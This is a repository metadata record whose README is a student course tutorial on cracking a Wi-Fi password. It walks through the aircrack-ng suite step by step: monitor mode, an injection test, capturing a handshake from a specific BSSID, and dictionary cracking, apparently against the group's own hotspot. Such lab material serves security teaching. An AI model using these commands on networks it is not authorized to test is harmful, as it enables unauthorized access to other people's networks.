{"id":22080412,"url":"https://github.com/mohamedelbachir/group-8-system-security-and-network","last_synced_at":"2026-03-19T21:39:14.037Z","repository":{"id":155766519,"uuid":"630502955","full_name":"mohamedelbachir/Group-8-System-Security-and-NetWork","owner":"mohamedelbachir","description":"Group 8 for course System Security and Network","archived":false,"fork":false,"pushed_at":"2023-04-26T03:20:24.000Z","size":6,"stargazers_count":2,"open_issues_count":0,"forks_count":0,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-01-29T04:22:29.248Z","etag":null,"topics":["attack","attack-defense","network","security"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/mohamedelbachir.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-04-20T14:18:14.000Z","updated_at":"2023-04-29T21:05:37.000Z","dependencies_parsed_at":"2023-06-10T16:00:39.235Z","dependency_job_id":null,"html_url":"https://github.com/mohamedelbachir/Group-8-System-Security-and-NetWork","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mohamedelbachir%2FGroup-8-System-Security-and-NetWork","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mohamedelbachir%2FGroup-8-System-Security-and-NetWork/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mohamedelbachir%2FGroup-8-System-Security-and-NetWork/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/mohamedelbachir%2FGroup-8-System-Security-and-NetWork/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/mohamedelbachir","download_url":"https://codeload.github.com/mohamedelbachir/Group-8-System-Security-and-NetWork/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":245168816,"owners_count":20571799,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["attack","attack-defense","network","security"],"created_at":"2024-11-30T23:14:03.014Z","updated_at":"2026-01-05T11:49:24.547Z","avatar_url":"https://github.com/mohamedelbachir.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"# Group-8-System-Security-and-NetWork\nGroup 8 for course System Security and Network\n## Table of contents\n- [Wifi Attack](#wifi-attack)\n\n\n## Requirements\n- Os : **Kali Lunix** (for this pratice) , **Ubuntu** , other linux distribution\n\n## Wifi Attack\n📢JUST FOR EDUCATIONNAL PURPOSE📢\n\u003e**Prerequisites**\u003cbr/\u003e\n\u003eWe need to have *hostpot* (wifi name (**ssid**)) available in this case we just  put sample password (**1234567890**)\n\n\nTo start open your terminal and type the command bellow : \n```console\nifconfig\n``` \n\n or\n \n ```console\niwconfig\n```\n \n \u003e Those commands allow you to list all network interface available and to apply the attack we focus on *wlan0* interface (wireless network)\n\u003cimg src=\"https://user-images.githubusercontent.com/76158313/234447153-edad29ae-5958-478a-a2ac-58d94f861164.png\" width=480px/\u003e\n\nNext\u003cbr/\u003e\n\nThis command stops network managers then kill interfering processes left \u003cbr/\u003e\n**Note:** It is very important to kill the network managers before putting a card in monitor mode!\n\n```console\nsudo airmon-ng check kill\n```\n\u003cimg src=\"https://user-images.githubusercontent.com/76158313/234449446-9f423ee1-9aa5-4c76-98e7-22fc6bfd1433.png\" width=480px/\u003e\n\nNow we start *monitoring mode* on our card :\n```console\n$ sudo airmon-ng start wlan0\n```\n\u003cimg src=\"https://user-images.githubusercontent.com/76158313/234451442-6df2b332-5c57-4671-a124-d4fde763a6f6.png\" width=480px/\u003e\n\nNext\u003cbr/\u003e\n\n```console\nsudo aireplay-ng -9 wlan0mon\n```\n\nSo we have to use the ``wlan0mon`` interface to see all the access points around us and what is being done in these different access points.We see \" **injection is working** \" and we have the access points that are displayed. We are interested in the access point \"TECNO SPARK 6 Air\" and you see that each access point operates in a specific channel. For us it is ``channel 13``.\n\n\u003cimg src=\"https://user-images.githubusercontent.com/76158313/234453484-04e230eb-e75b-4e12-bec0-84a2d5c67c05.png\" width=480px/\u003e\n\nNext \u003cbr/\u003e\n```console\nsudo aireplay-ng -9 wlan0mon\nsudo airodump-ng -c 13 --bssid 76:C7:DA:D8:1A:AD -w group8 wlan0mon\n```\nHere we will copy the ``bssid`` which is the ``Mac address`` of our access point and we will execute the airodum-ng command with the precise parameters as follows: in the terminal, it will generate traffic at the access point location  \n\nWhile the packets are going through, when someone is going to connect. And we'll see that it will have change, we'll see a **handshake** that confirms that there is a client that wanted to connect to our access point.\n\nFinally,\u003cbr/\u003e\n```console\nsudo aircrack-ng -w /usr/share/metasploit-framework/data/wordlists/password.lst group8-01.cap\n```\nAnd now we will use the ``aircrack`` command that allows us to crack the password that relies on a file that contains a set of predefined passwords to retrieve the password entered. After validating, we see the password appear in the dictionnary ``password`` which is not very **huge**.\n\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmohamedelbachir%2Fgroup-8-system-security-and-network","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmohamedelbachir%2Fgroup-8-system-security-and-network","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmohamedelbachir%2Fgroup-8-system-security-and-network/lists"}